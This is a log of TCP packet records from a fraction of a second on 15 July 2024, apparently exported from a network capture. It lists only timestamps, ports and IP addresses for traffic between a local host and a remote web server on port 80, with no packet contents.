Jul 15, 2024 00:48:25.792294025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792325020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792339087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792351961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792362928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792380095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792407036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792437077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792448044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792459011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792469978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792488098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792496920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792529106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793236017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793246031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793289900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793294907 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793328047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793329954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793339014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793368101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793386936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793397903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793409109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793421030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.793437004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.793461084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869095087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869117022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869129896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869200945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869214058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869225025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869240046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869239092 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869252920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869290113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869311094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869323015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869333982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869345903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869355917 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869358063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869370937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869379997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869384050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.869421959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.869966030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870023966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.870054007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870068073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870100975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870105028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.870112896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870124102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870136023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870147943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.870150089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.870178938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.870210886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879105091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879141092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879153967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879188061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879211903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879213095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879224062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879236937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879254103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879285097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879364967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879379988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879405975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879435062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879435062 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879446983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879458904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879468918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879471064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879483938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879492044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879496098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.879528046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.879545927 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880021095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880047083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880058050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880084991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880105019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880129099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880142927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880172014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880197048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880311012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880321980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880333900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880345106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880357027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880359888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880368948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880387068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880419970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880436897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880450010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880460978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880471945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880479097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880491972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880507946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880532980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880568027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880580902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880592108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880604029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880609989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880618095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880635977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880661964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880831957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880844116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880853891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880862951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880875111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880876064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880896091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880903959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880907059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880918980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880929947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880930901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.880949020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.880980015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881644011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881690979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881697893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881709099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881736040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881820917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881833076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881843090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881855965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881861925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881871939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881880045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881906986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881953955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881966114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881977081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.881987095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.881989002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882002115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882013083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882014990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882040977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882057905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882070065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882105112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882165909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882179022 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882190943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882199049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882204056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882213116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882220984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882230997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882234097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882246971 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882266045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882361889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882375956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882386923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882397890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882401943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882412910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882421970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882446051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882462025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882466078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882474899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882488966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882496119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882498980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882514000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882631063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882760048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882771969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882783890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882795095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882796049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882807970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882813931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882832050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882838964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882850885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882857084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882886887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.882972956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882982969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.882992983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883007050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883013964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883021116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883045912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883052111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883063078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883074045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883074999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883104086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883141041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883891106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883938074 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.883976936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.883989096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884001970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884022951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.884052038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884056091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.884064913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884076118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884085894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.884097099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.884129047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.959943056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.959964037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.959975004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.959990025 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960001945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960014105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960027933 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960056067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960068941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960079908 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960086107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960091114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960097075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960108995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960122108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960134029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960141897 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.960200071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.960865974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960887909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960897923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960927963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.960956097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.960964918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960974932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960987091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.960999012 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.961004019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.961060047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.961061001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.961061001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.961098909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972071886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972105026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972116947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972131014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972162008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972168922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972194910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972207069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972218990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972230911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972237110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972253084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972285032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972332001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972342968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972357988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972367048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972374916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972407103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972459078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972470999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972491026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972518921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972527027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972533941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972541094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972552061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972563028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972569942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972570896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972582102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972584009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972615004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972634077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972804070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972821951 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972835064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972846985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972860098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972860098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972867966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972872019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972884893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972898006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972907066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972909927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.972917080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972929955 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.972960949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973120928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973133087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973145008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973156929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973169088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973181963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973195076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973223925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973243952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973248005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973248005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973256111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973267078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973268986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973278046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973290920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973290920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973303080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973303080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973315001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973328114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973330021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973342896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973354101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973355055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973366976 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973367929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.973378897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.973391056 CEST	80	49704	38.180.60.246	192.168.2.5
